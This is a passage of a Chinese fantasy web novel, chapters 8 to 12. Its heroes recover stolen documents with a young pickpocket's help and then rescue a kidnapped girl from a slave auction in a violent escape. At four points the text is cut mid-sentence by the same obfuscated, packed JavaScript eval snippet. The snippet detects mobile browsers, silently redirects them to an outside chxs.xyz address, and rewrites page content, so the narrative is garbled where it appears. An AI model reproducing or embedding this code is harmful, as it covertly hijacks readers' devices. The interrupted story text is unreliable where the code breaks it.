“臭小子，今天你要是不把钱吐出来……” “求求你们放过我吧！”孩子尖叫起来，“我母亲她已经……” “闭上你那张满口谎话的嘴！”一个男人上前揪住孩子脏得看不出颜色的短发，狠狠地炒脸上抽了几个巴掌，“这个借口你都用了多少次了？你逃跑的时候可不是这个嘴脸！” 也许是过于恼怒，男人的力气很大，孩子几乎被他拽得双脚离地，一只胳膊还被没反应过来的拉维妮娅拉着，像一张纤细的纸片。那张挂着泪珠的脸艰难地动了动，求助般的目光直勾勾地投向拉斐尔。 “冷静点，先生。”拉维妮娅开始觉得情况不太对，挡住男人要再次落下的巴掌，“这孩子经不起这么折腾，拿上你的钱走吧。” “他是这条街的惯犯了，女士。”男人的手毫不放松，“别多管闲事，我们今天非得给他个教训不可。” “等等！”拉斐尔突然出声说，“……等一下，先生们。我说，不如把他交给我吧？” “我的钱也被偷了，还有我的重要文件。相信我，我会给他个终生难忘的教训。” “你？”男人疑惑地看着他。拉斐尔不由得挺直了背，好在他的个子够高，即使疏于锻炼，看起来也多少有几分说服力。男人上下打量了他几眼，冷哼一声，把还在抽噎着的孩子像拎麻袋似的拎起来，狠狠晃了几下，在孩子的尖叫声中，一些诸如钱袋、手表、首饰之类的零碎物件叮铃哐啷地落到地上。 “他交给你了。”男人捡起几个钱袋垫了垫，重重推了孩子一把，“希望你说话算话，年轻的先生。” “好了，你叫什么名字，小姑娘？”男人们走后，拉维妮娅问到。终于被松开孩子似乎是崴着了脚，正坐在一堆杂物中间，大口喘着粗气。 “小姑娘？”拉斐尔瞪大眼睛，目光扫过孩子的短发和裤子，“他不是——” “她明显是个女孩。”拉维妮娅向孩子伸出手，困惑地看了拉斐尔一眼，“真搞不懂你们为什么都觉得这是个男孩——你还好吗？能站起来吗？” 孩子没有回答拉维妮娅的问题。她扶着墙壁缓缓地站起来，一瘸一拐地向后退了几步。 “别以为我会感谢你们。”她声音嘶哑地说，胡乱擦了擦红肿的脸颊，“今天算我倒霉，剩下的这些东西你们处置吧，我要走了。” “等等。”拉斐尔喊住她，“拿上这个吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879055|159714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他打开钱袋，从里面数出几个金镑。 “我现在……身上也没有其他钱，所以不能都给你。”他不太好意思地咧咧嘴，“这些不算你偷的，拿去用吧。” 女孩的圆眼睛一眨不眨地望着那些金镑，半晌，一把拿了过来。她转过身，朝巷子的另一端挪了几步，又回头看了拉斐尔一眼。 “你……” 她的脸上写着''你脑子没问题吧''。 目送女孩的背影消失在巷子的一端，拉维妮娅回过身，重重叹了口气。 “来吧。”她看着满地的纸片说，“看来我们又要重新开始了。” 他们又开始做过去两小时在做的事。拉斐尔整理着手中的一沓文献，犹犹豫豫地问：“你不打算问问我为什么要给她钱吗？” “那是你自己的事，你怎么做都是你的自由。”拉维妮娅拍掉挡住文字的脏污，“我没有在别人的事上质疑别人决定的兴趣。” “呃，我……”拉斐尔理顺了一篇文献，躲躲闪闪地看了拉维妮娅好几眼，又开口说：“我和我母亲关系很好……她看上去哭得很伤心，所以我想，万一她说的是真的，也许能帮帮她。” 他又飞快地找补道：“我知道，她可能明天又会到街上去偷钱袋什么的，这事对她没多大影响，但是，万一……” 贵族少爷的话头止住了。半天没听到下文的拉维妮娅从地上的文稿里抬起头，看见他半张着嘴望向前方。 她顺着拉斐尔的目光转过头去，惊讶地看见去而复返的女孩蹲下身子，捡起几张纸片。 “这些带字的就是你们要找的吗？”她垂着眼睛问，“我不太认识，一会给你们把自己要的挑出来吧。” 女孩又沉默了一会，小声说：“……菲奥娜。” “这是真的，我妈妈给我取的名字。” “刚才的钱不算偷的。”她梗着脖子看向两人，“我会帮你们捡这些带字的纸片，这算我的酬劳。” 还是那句话，万能的米拉小姐是对的。有了新的帮手，这次他们不到两个小时就几乎集齐了文献，拉斐尔把它们珍重地包进自己的外套里，长舒了口气。 “现在就等米拉小姐的消息了。”拉维妮娅坐到一张黑乎乎的、露出弹簧的软凳上——左右她的衣服现在也和这东西差不多脏了，“在那之后……我们是不是能回旅馆洗个热水澡？” “我猜是。”拉斐尔抱着文献，显得神清气爽了不少，“不过在那之前，我们是不是该把这些钱袋什么的送到失物招领处？……呃，这儿没有这种地方，是吗。” “也许你可以问问安西娅。”拉维妮娅说，“说不定有些人也像你一样要找东西呢。” “……真不敢相信你们把''女巫''大人那儿当作失物招领处。”菲奥娜看着他们把她的赃物归拢起来，干巴巴地说。 “你认识她？” “没见过，不过这里的人都知道她。”菲奥娜盯着自己在地上划来划去的脚尖，“她是能实现愿望的''女巫''。” 9. 第 9 章 “实现愿望？”拉维妮娅和拉斐尔对视一眼，“她不是情报贩……” “嘘！”菲奥娜对他们做了个夸张的噤声动作，“''女巫''大人无所不知。” “所以她就是卖情报的。”拉维妮娅干巴巴地说，“知道的比一般人多些也理所应当。” “当然不是了！”菲奥娜有些激动地说，“她可是''女巫''！据说她在十三岁时就以一己之力干掉了两个成年男人，到她成年的时候，她又干掉了前一任''女巫''，继承了前任的全部智慧。” 她说起这些事时两眼放光，头一次自然地露出了孩子般的表情。 “有个有名头的贵族夫人向她求助，想在丈夫殴打她时感觉好受些，一个月后就成了寡妇，身体也渐渐好了。” “关于这个夫人怎么成的寡妇……”拉维妮娅小声说，“是我想的那样吗？” “如果我们想得一样的话。”拉斐尔语气飘忽地说，“还是给孩子留点想象空间的好。” “不如我们带你去见她吧。”拉维妮娅凑近喋喋不休的菲奥娜，“你好像挺崇拜她的，是吗？” “什么！我不是……我、我可以吗？”菲奥娜又开始划拉她的脚尖了，“我，我只是想看看那些东西有没有被妥善处理，免得你们自己分了什么的。” “当然，你尽管放心。”拉维妮娅笑眯眯地说。 当他们见到米拉时，却没得到太好的消息。 “关于矿脉的文献只找回来一部分。”米拉把一沓纸塞进拉斐尔怀里，刻意忽略了他红润的耳尖，“有几份文件似乎是新兴研究，他们给卖到拍卖行了，明天就拍卖。我们得再去一趟安西娅那里，让她给我们搞几张拍卖行的入场券。” “刚巧。”拉维妮娅说，“我们也觉得有必要再去拜访一下安西娅。你看，这孩子是她的小粉丝。” “这是哪来的小女孩？”米拉惊讶地看了菲奥娜一眼，“你们不会是捡了个孩子回来养吧——开玩笑的，别紧张，小姑娘。” “等一下。”拉斐尔迷惑地说，“你们究竟是怎么看出来这是个小女孩的？” “你在说什么？这不是显而易见吗。” “嗨，各位，又见面了。”他们还没走到帐篷旁边，安西娅已经远远地迎了上来，“我有一个好消息——哦，这是怎么了？你们是掉进垃圾堆里了吗，宝贝儿们？” “说来话长，事实证明大部分的文献在这都不怎么值钱。” “好吧。不管怎么说，嗒哒——钱我替你们找回来了！多亏了正牌杰里.洛佩兹先生及时赶到，箱子里的望远镜都没少。” 拉维妮娅很想问问拉斐尔，是不是他的箱子里除了钱就没有值钱的东西了，不然怎么销赃都这么困难。不过她到底没有问出来，一大部分原因是几个月没见的杰拉尔德正跟在安西娅身后，用一种欲言又止的目光看着她。 “好久不见，杰拉尔德先生。” “好久不见，拉维妮娅小姐。你看起来不是很……” “是啊，看起来很糟糕。”拉维妮娅抱着胳膊说，“闻起来也是。也真是怪了，每次碰见你都是这么狼狈的情况。” “但还是很高兴见到你。”杰拉尔德把左手在胸口上，冲她微微倾身，“哦，还有你，米拉小姐。” “原来你还记得我，我真是太感动了。”米拉已经和安西娅交涉完毕，从''女巫''小姐手里接过了拉斐尔的行李箱，“感谢你的帮助，不过我们准备回旅馆了，就此别过吧。” “对了，尊敬的''女巫''小姐。”她回过头说，“这些……东西，还有你的这位小粉丝就麻烦你暂时照看了？” “又是失物招领，又是带孩子，你们把我这当成什么地方了？”安西娅夸张地叹了口气，“诶，谁让我总是这么心软。来吧，亲爱的，有没有人说过你是个漂亮的姑娘？……” “说真的，你们到底是怎么知道这是个姑娘的？”拉斐尔发自内心地问。 “比起那个。”米拉示意了一下自己手里的行李箱，“我们该讨论一下报酬问题了，小少爷——一般来说，我们抽一成。” “没问题！你们想要多少？我也可以写信给我哥……” 拉维妮娅落在他们后面几步，烦躁地擦了擦脸上的污垢。午后的阳光照得她脸上发痒，而既然米拉已经提起了报酬，此时她除了旅馆的热水澡之外很难再想其他的事。 “那是谁？” 一个声音在她身边响起来，她转过头，看到本该“就此别过”的杰拉尔德三两步追上来，和她并排走着。 “拉斐尔，我们的新客户。”她没有回答太多，反问道，“你又是来做什么的？我们这么恰好顺路吗？” “你之前付给我的''佣金''，记得吗？我托安西娅处理了一下，放在拍卖行了。毕竟，贵族的珠宝可不好直接出手——你当时在说价值的时候，没说实话吧？那些珠宝绝对不止值两百银镑。” “……好吧，我确实是随便说的。”拉维妮娅不自在地眨眨眼，“我也不知道它们究竟值多少，低一些的价格显得比较有说服力。” “但总归你也不吃亏，不是吗？”她很快调整了语气，颇有点避重就轻的意思，“而且，你还没回答我的问题——我们应该不顺路吧？” “阿诺德和米拉每年都住同一家旅店。”杰拉尔德听起来答非所问地说，“我猜你们今年也不会换地方——我只是恰好住在这家旅店而已。” “……” “怎么了？没别的话说了，大小姐？” “我只是想快点到旅馆。”拉维妮娅皮笑肉不笑地说，“暂时不想浪费时间说话，冰块脸。” “啊，你听说了这个外号。当然，阿诺德和米拉告诉你的。”杰拉尔德无奈地说，“虽然他们也没什么恶意，但是只有我一个人有这种''花名''也太不公平了。我曾经试图叫过阿诺德大胡子，不过他好像不怎么在意。” 他转头看向拉维妮娅，几乎是打量她一般，沉默了一会。 “怎么了？”拉维妮娅对他防备地眯起眼睛，微微侧过头去。 “我给你也取一个这样的怎么样？比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879056|159714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如说……下垂眼？” “你话太多了。”拉维妮娅硬邦邦地说，“你要是这么说，我就要叫你……叫你……” 她的目光扫过那张没什么亲切表情的脸，但这张脸英俊得过于平均了，从鼻梁到睫毛都没什么值得说道的特点。她最后不得不宣告放弃，干巴巴地又重复了一遍刚才的话。 “……冰块脸。” “好的，只要你别一直这么叫。”杰拉尔德耸耸肩。 “你们两个在吵什么呢？”米拉站在旅馆门口转头看着他们，“拉维，你再不快点热水可要被用光了。” “我就来！” 格雷菲尔拍卖行每两日举行一次常规拍卖，在拍卖前会在门口的公示板上列出将要拍卖的部份商品，以供买家们参考。 两位女士和她们的委托人在进入拍卖行时看了一眼那张占了半面墙的公告板，拉斐尔心心念念的文献赫然在列。 “太好了。”拉斐尔说，“现在只要把它买回来就好。” “前提是，它的价格不要太离谱。”米拉补充道。 “我们是不是也该弄个这样的公告板？”拉维妮娅说，“现在的酒水单还是不太显眼……店里那些膏药一样乱贴的委托单也能集中一下，都贴到板上。” 他们已经穿过门口的宽阔走廊，进到拍卖行的里厅。这里用厚重的丝绒门帘与外部隔开，仅有几盏壁灯宫人看清过道和台阶。阶梯式的拍卖席被分成独立的小隔间，波浪形的木质挡板用一种朦胧的方式，遮住了隔间内买家们的脸。在这些隔间的前方，有一个半圆形的木质平台，遮挡它的幕帘还紧紧地闭合着。 “你们看。”挤进一个隔间后，拉斐尔率先拿起放在椅子上的木牌和纸条，“这里还有拍卖的清单。” “它看上去比外面公告板上的东西多不少。”拉维妮娅在昏暗的灯光下仔细辨认着。 “因为有些东西是没法放在外面给所有人看的，不过进拍卖场的人都心知肚明，这里会卖些不太好说的东西。”米拉说，“你看，就像安西娅的药，每次都不会出现在外面。” 她的指尖移到单子上的其中一行，那里含糊地写着“魔药：药水”之类的字样。 “这是不是那个帮助贵族夫人顺利成为寡妇的……” “我觉得是……” “你们从哪听来的这个？”米拉奇怪地看了他们一眼，“贵族夫人亲自来无人区买药种事实在存疑——不过除了这点倒也没太说错。但放在这里拍卖的都是些常规的药水，她也接受定制服务，女士们一般会直接联系她，比较能保证隐私。” “嘿，看最下面这条。”拉斐尔兴致勃勃地说，“''特殊商品——暂且保密''，真有意思，每次都会有这种压轴节目吗？” “不，这倒不是每次都有。”米拉皱了皱眉头，“但是……最好还是别抱有什么梦幻的期望，我预感不会是太能让一般人接受的东西。” 拉斐尔还想再问点什么，但此时，前方平台的幕布猛然拉开，明亮的橙黄色灯光照亮了台前——拍卖开始了。 10. 第 10 章 “女士们先生们！”一个男人热情饱满但嗓音在平台上响起。在这个男人的脸上，有一个硕大的圆形面具，被粗略地刻出了礼貌的笑容，远远看去像一只肥硕的圆脸，与他细瘦的身躯极不相符。 “欢迎来到格雷菲尔拍卖行，相信您已经在清单上看到了您心仪的物品。”男人夸张地摆动着胳膊，“那么，考虑到各位宝贵的时间，让我们直接开始——第一号商品：西北部四足鸟活动地图！” 这句话说到一半，便立即有人举起号牌：“五十金镑！” “哦，很保守的报价——五十金镑一次！” “一百金镑！” “——一百金镑一次！” “两百金镑！” …… “真的有必要吗？”拉斐尔压低声音，不可置信地说，“那不过是一张地图！” “一张标注了四足鸟活动区域的地图。”米拉说，“对那些专职''猎魔''的家伙来说，它当然值这个价。” “为什么？关于四足鸟的习性在大学的通识课程里都会教。” “首先，这里的大学生比你想的要少——即使是在阿尔伯恩，大学生也不过是一小拨人而已。”拉维妮娅说，“其次，四足鸟是难得有完备记载的、性格温和的中型食草生物，狩猎它们不需要冒多大风险。有这么一张地图，那些''寻矿者''去四足鸟活动区逛一圈的功夫，就能得到一般矿场一年的成果。这张地图对他们来说，就是暴富的最佳捷径。” “好吧，我理解了，导体矿。”拉斐尔闷闷地说，“第一个发现无人区特殊生物能作为导体矿来源的人可真是个人才。” “事实上，他在发现这点几年之后被一只未成年沙蜥攻击致残，后来一直穷困潦倒。” 隔间的门被突然打开，一个高大的身影挤了进来，露出一双熟悉的蓝眼睛。 “杰拉尔德？” “你不如赞美一下发现导体矿作用的杜斯.达特。”杰拉尔德继续他没说完的话，“多亏了他划时代的发现，武器的设计逻辑乃至蒸汽机的效率都被完全改变了——他相当于发现了魔法的基本原理。” “是啊，这是导体魔法成为系统学科的开始。”拉斐尔下意识地接话说，“但我还是更喜欢传统的法阵魔法一点。” “但法阵魔法的本质也还是导体魔法。”拉维妮娅说，“就算是最传统的地形法阵也是运用了土壤中含有的微量导体矿传导魔力因子——不对，我本来要问的是，你为什么在这里？” “安西娅只预留了这一个位置。”杰拉尔德无所谓地说，“很可惜，你们要和我挤挤了。” “什么？” “别再吵了！”米拉给了他们每个人的脑门上狠狠弹了一下。 “你到底是来干什么的？” “我听说了一些消息。”杰拉尔德含混地说，“来确认一下。” “一些消息？好吧。”米拉叹了口气，“过去一些，这里已经很挤了。” 他们在原地徒劳地调整了一阵位置，拉维妮娅的胳膊肘突然捅在拉斐尔的后腰上：“快看！是你的文献！” “哦！”拉斐尔慌张地举牌，一只手还捂着后背，“拜托别太贵，拜托别太贵……天呐，呃，一百五十金镑！” 最终文献被他们以三百金镑的价格拍下，拉斐尔拿着被送到他手上的文献，看起来眼泪都要出来了，不知道是感动得还是心疼得。 接下来的商品和他们无关，但格雷菲尔拍卖行的规矩是拍卖期间只进不出，所以他们只好在这个隔间里多挤一会。 杰拉尔德倒是很耐心似的，不知道他到底要研究哪一件商品，直到拍卖接近尾声，他也没有什么其他动作。 “接下来，就是万众瞩目的时刻。”戴面具的男人再次激动地挥起手臂，“今天的最后一件商品，特别，非常特别，连我也不得不承认，那金光闪闪的样子真是惹人喜爱……来看看我们的特别商品——” 男人一把扯下盖在“商品”上的黑布。在看清“商品”的一瞬间，拉维妮娅和拉斐尔都不由得惊叫起来：那不是什么物件，而是一位被关在笼子里的金发少女。 短暂的安静后，一阵强烈的喧闹声陡然响起，盖过了他们不合时宜的惊呼。 “啧，我就知道。”米拉神色阴沉，“格雷菲尔怎么也开始做这种事了？” “听说最近新来了一支商队，做的都是之前没人做的买卖。”杰拉尔德说，“他们还顺带打压其他商户，污蔑其他商队的成员——就像之前那个冒充我的家伙一样。现在看来，其余的部份也是真的了。” “那是个人！”拉维妮娅看着那名昏迷的少女，面具男人正托起她的头，好向买家展示她的脸；她的嘴被布条堵住，深邃的蓝眼睛瞪得大大的，正惊恐地流着眼泪。 “我以为奴隶交易已经被废除了。” “部份废除。”米拉说，“而且这里是无人区——你觉得那些群烂人会在乎？” “没人在乎。”不等拉维妮娅回答，她接着说，浅色的眼睛里像某种猫科动物一般反射着冷光，“从来如此——太阳底下没有新鲜事。” 拉维妮娅深吸一口气：“……我们要怎么做？” “什么都不做。”米拉说，“别在这种地方惹事。” 她看了杰拉尔德一眼，后者以沉默回应她。 场上的报价已经加到了几千金镑，拉斐尔似乎是被报价的喊声惊醒了，发出一阵剧烈的抽气声，一边一个揪住了杰拉尔德和拉维妮娅。 “那……莉……” “什么？” “那是艾希莉！”拉斐尔用力揪着他们的衣领说，声音尖利得不像是他自己的，“我表妹！” “什么——！” “搞什么？你的表妹究竟是怎么到这种地方来的？”拉维妮娅抓住拉斐尔的手腕，试图把领子从他的手里解救出来——他抓得太紧了，她感觉有点喘不过气。 “我怎么会知道！这姑娘从小就不是正常人！”拉斐尔崩溃道，“……呃，没有说她不好的意思，但我俩都是家族里的怪胎。” 你对自己的定位还挺准确的。拉维妮娅想，到底没有当着拉斐尔的面说出来。 “我们得救救她！”拉斐尔的手越抓越紧，他们的脑袋几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879057|159714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎要碰到一块，“求求你们了！我会付钱的！多少钱都行！” “……我的天呐。”米拉认命般地叹了口气，冷冷地说，“如果你要救她，小少爷，那么在交易达成之前，我们就要动手。” “你是认真的吗？”拉维妮娅说，“这里都是拍卖场的人。” “但我们只能趁现在。”米拉说，“出了拍卖场我们连买家是谁都不知道。” 竞价已经进入白热化阶段，有两个买家似乎较劲似的轮流举牌，竞价已经快要涨到三万金镑，在这个价格下，甚至一般的富人都要掂量掂量自己的资金。买家似乎也开始觉得吃力了，加价渐渐慢了下来，在几轮之后，最终的胜利者似乎已经浮出水面。 “还有人加价吗？”面具男人问，“七万两千金镑一次，七万两千金镑两次……” “十万。” 隔间里的所有人都目瞪口呆地看着拉维妮娅。 “这位小姐出十万金镑！”面具男人叫起来，“还有加价的吗！” 那位出价七万多金镑的买家似乎心有不甘，再次举牌：“十万五千。” “十万五千一次，十万……” “三十万。”拉维妮娅说，“我还可以加。” “真是个慷慨的小姐！还有比三十万更高的吗？三十万金镑一次，三十万金镑两次，三十万金镑三次！成交！天呐，恭喜这位小姐！” “像你说的。”拉维妮娅放下号牌，冲米拉眨眨眼，“至少我们现在知道买家是谁了。” “我理解你的意思。”米拉叹了口气，“就是刚才那一下实在有点吓到我了，感觉这辈子都出不起那么多钱。” “事出突然。”拉维妮娅咧咧嘴。 “等等，所以我，我们，是……”拉斐尔想起什么似的拼命压低声音，“是不打算付钱了是吗？” “这里是''灰市场''。”拉维妮娅说，“他们做灰色交易，我们灰吃灰，很公平。” “其实我也不是付不起，等我给我哥写封信……” “等到那时候干什么都来不及了。”米拉按住他的肩膀，“现在，小少爷，我有一件很重要的事要交给你做。” “什……什么？” “现在，到城门外，找一辆马车等着我们。” “我表妹她……” “你再不快去，你表妹就真的危险了。” “好，好的！这就去！” “啊，是你，出手不凡的小姐。”面具男人在后台接过拉维妮娅手里的号牌，声音听起来有些疲惫，“真是难忘的，一天……请稍等。” 他转身从身后的柜子里拿出一支钥匙。 “久等了，小姐。这是''特殊商品''镣铐的钥匙。当然，链子和锁都是我们免费赠送的。” 拉维妮娅点点头，''不经意''地露出钱袋里金镑的一角：“我能先验验货吗？” “当然，您请随意。” 她走到笼子前，打开笼门，几乎是托着金发少女的胳肢窝，把她从笼子里拖了出来。 “放轻松。”她靠在少女的耳边，飞快地说，“我们是来救你的。” 11. 第 11 章 这句话说得很快，像一阵昆虫翅膀掀起的微风。 少女垂着头，长长的金发遮住了脸庞，仿佛已经失去了反应能力。 “……怎么回事啊？她的腿都软了。”拉维妮娅大声说，“她不会是不能走路吧？这可不行。” “怎么会呢！”面具男人搓了搓手，“她也许只是累了，休息一会就……” “你在开玩笑吧？我可是花了三十万金镑！”拉维妮娅吼道，粗暴地扯起锁链，打开上面的锁，“你看看，这样她都不站起来，这是不是——” 她把锁链往面具男人的面具上一扔，弯腰抱起没了束缚的少女，冲了出去。 “抓住他们！”面具男人的面具被一段锁链砸歪了过去，接连骂了好几句脏话，“这群………！” “米拉！！” “快走！”米拉拽住一个守卫的腰带，把他横着扔了出去，追来的守卫像猝不及防地被同事砸倒了好几个。她从气喘吁吁的拉维妮娅手里接过虚弱的少女，用一支手扛在肩上，另一只手又打歪了一个守卫的脸。 “小心！他们有武器！”少女挣扎着扯出塞在嘴里的布条，大叫道。 米拉此时已经几乎到了拍卖行的大门边，在金发少女的惊叫声里，她猛地俯身蹲下，堪堪躲过几枚擦着发梢飞过的子弹，就着下蹲的动作，扫腿踹向斜后方，撂倒了两个接近的守卫。 “米拉！”一个守卫在米拉身后举起匕首，拉维妮娅开枪击中了他的肩膀，“来这边！” 她们背靠着大厅的一根石柱，米拉把少女放在地上，抽出别在后腰上的长筒左轮，和拉维妮娅一样，以柱子为掩体，回身射击。 火药和金属的撞击声在大厅里响起，子弹打在柱子和墙壁上，几乎能听见细碎的砂石簌簌落下的声音。金发少女半坐在地面上，撑着石柱底座的指尖微微发白。她失去血色的嘴唇还在发抖，看上去被吓傻了。 “大门外的人太多了，而且他们正在包围过来。”拉维妮娅在反击的空隙中说，“我们得绕到后面去。” “你们先走。”米拉说，“我一个人可以争取五分钟的时间……杰里跑哪去了？” “他去……” 巨大的爆炸声猛然打断了一切，大厅里陷入了短暂的安静，每个人都只听到自己耳边的嗡鸣声。 “……怎么了？” “火……着火了！” “是库房着火了！” “天杀的！快去找……莱……先生！” “你们在做什么？她们跑了！” 此时拉维妮娅和米拉已经带着那位名叫艾希莉的少女——如果拉斐尔所说属实的话——来到库房对面走廊的一端。从这里的窗户能看到拍卖行的的后街，平常这里零星蹲着些小摊贩和闲聊的马车夫，但现在，几乎所有人都在关心拍卖行突然爆炸的仓库，后门挨挨挤挤地围满了看热闹的商贩和路人，拉车的马匹被拴在收起的摊位前，烦躁地用前蹄刨着地面。 “……他去争取时间了。”拉维妮娅现在才能说完之前的话，“也许是带了点私人情绪。” “好吧，确实有效。”米拉撞开一扇窗户，“快走，他们又要追过来了。” 她调整了一下手臂的位置，想把“艾希莉”先从窗口丢过去。此时少女却先开口说话了：“等等！” “我可以自己走。”她说，“这么带着我跑不快。” 她挣扎着撑住窗框，翻过窗口，趔趄着落在窗外的空地上。 “虽然不知道为什么，但谢谢你们救了我。” 回应她的是米拉的一记猛推。 “快走！他们追来了！” “哦，哦，好的！” 他们从窗口对着的小巷里钻出来，不动声色地混入围观的人群中。 “嘿，这是怎么了？”米拉一边缓缓向街口移动着，一边面不改色地搭话，“真是好大的火。” “谁能想到呢！”一个身材高大的妇女回答她，热情地转过身，恰好挡住了追来守卫的视线，“我看啊，就是这帮家伙最近亏心事做多了，遭人报复。我就说，最近市面上突然出现那么多莫名其妙的货物需求……不瞒你说，之前天上的那艘飞艇……” “少嚼舌根了，老婆娘！”一个秃顶的男人吼道，“讨论政治是男人的事，快回去理今天的货！” 男人叼着烟斗的嘴在说话时喷出雨点般的口水来，腥臭的味道让人一阵反胃。那位妇女倒是不为所动，她伸长了胳膊，拽着男人所剩无几的胡须摇晃起来，几乎把他推在地上。 “你每天除了满口脏话还会干什么？”她嫌恶地叫道，“别管我的事，你这个烂酒鬼！” 男人惨叫着，挣扎着骂出不堪入耳的脏话，奈何他比妇女要矮上半个头，这点挣扎实在没有什么效果。 围观的人乐得热闹上加热闹，目不转睛地看着这里里外外的闹剧。 趁着这阵喧闹，几人已经快要挪到巷尾，从那里离开，到格雷菲尔最近的大门只剩下两个街区的路程。 妇女还在和她的酒鬼丈夫打得不亦乐乎，秃顶男人咒骂着，居然一口咬在妻子的胳膊上。妇女发出一声尖叫，试图抽出手来，但男人似乎是找到了什么制胜的法宝，挥舞着粗短的手脚，死活不松口。 他们纠缠着，忽然失去重心，一起倒在地上，在人群中人为清理出一小片空地。很不幸地，也给守卫的视线提供了空间。 “她们在那！” “啧，就差一点。”米拉骂了一声，“跑！” 守卫还在艰难地穿过人群，拉维妮娅拉了艾希莉一把，她们飞快地拐过街角，另一条街上的商贩们还在伸着头观察拍卖行的火势，看见突然出现的人影，下意识地喊了几声。 “嘿！怎么了？” “后面的守卫是怎么回事？” “看看路！” 她们的货摊和行人之间穿梭，后方是好不容易挤出人群、紧追不舍的守卫，守卫们粗暴地撞开不明所以的行人，很快和她们又拉近了距离。 “我……我有点……”艾希莉喘着粗气说，“有点跑不动了……” “坚持一会。”拉维妮娅抓住她的一边胳膊，“我们就要出大门了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879058|159714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 艾希莉抹了把额头上的汗水，抬起头，在因奔跑而摇晃的视线中锁定着格雷菲尔越来越近的灰色高墙，咬牙加快了速度。 “站住！你们这几个……” 守卫高声叫骂着接近她们，城门口的马车和行人依旧挨挨挤挤，她们不得不放慢了速度。 “我们要怎么办？”艾希莉焦急地叫道，“他们快追上来了！” “往前跑！”拉维妮娅推了她一把，回头看着追来的守卫，犹豫了几秒，迅速扯松了旁边一辆马车上套马的绳索，使劲往马腿上抽了一下。 那匹马高声嘶鸣起来，在原地把马车扯得转了个圈，用后腿站起来，在守卫面前扬起两只前蹄。 “这马怎么——”一个守卫差点被受惊的马掀翻，艾希莉被推了一把，跌跌撞撞地跑进了门洞。 “米拉，走！”拉维妮娅喊道，另外几个守卫已经绕开马车，眼看就要到她们面前。 一道气急败坏地喊声从另一边响起来。 “抓住他！就是那小子放的火！” 拉维妮娅和米拉猛地转头，看见杰拉尔德骑着马从靠近大门的小道里冲出来，那匹马在小道的尽头高高地跃起，在守卫的头顶划出一道弧线，正落在门口的人群里，守卫和拉维妮娅之间。 “走！” 杰拉尔德从马上跳下来，没再管那匹马，和她们一起挤进门洞。守卫的喊声还在身后，他们从马车的车轮和行人的缝隙里挤过去，没办法分辨撞到了谁，或是踩着了谁的脚。 艾希莉头一个从门洞里挤出来，她的体力几乎要见底了，扶着墙趔趄了一下，差点瘫倒在地上。 “嘿，这边！”一个稚嫩的嗓音在一边响起来，几乎把她吓了一跳。 她抬起头，看见一个红头发的女孩，用一双圆圆的眼睛看着她。 “你是……” 女孩没有回答她，只是抬头对着她身后喊道：“来这边，快！” 艾希莉还没反应过来，已经被拎着腰带提起来，米拉的脸出现在她的视线中，她几乎是被米拉拖着向前跑去。 “菲奥娜？”拉维妮娅喊道，“拉斐尔呢？” “他一开始跑错了方向。”菲奥娜翻了个白眼说，“我现在给安西娅小姐工作了，给你们带路和找马车，要收两个银镑。” 他们终于爬到马车上，拉斐尔正战战兢兢地等在车厢里。 “开玩笑的，这次不收你们钱。”菲奥娜扶着车厢后沿说，“快走吧。” 拉斐尔后来回忆说，这大概是这个女孩说谢谢的方式。 前方传来米拉急急的催马声，马车晃动着冲出去，在车厢的摇晃中，似乎又被吓呆了的艾希莉目光迟滞地掠过车厢里的每个人，停在拉斐尔身上。 “艾希……” “拉斐尔！！” 艾希莉的蓝眼睛里突然盈满了泪光，她发出一声长长的嚎叫，越过拉维妮娅和杰拉尔德，直直地扑进拉斐尔怀里。 她也不过是个十几岁的小姑娘。此时她终于崩溃了，整个车厢里都回荡着少女的哭声。 12. 第 12 章 与来时不同，马车足足跑了一天一夜，当终于停下来休整的时候，他们已经可以远远地看到石碑镇的影子。 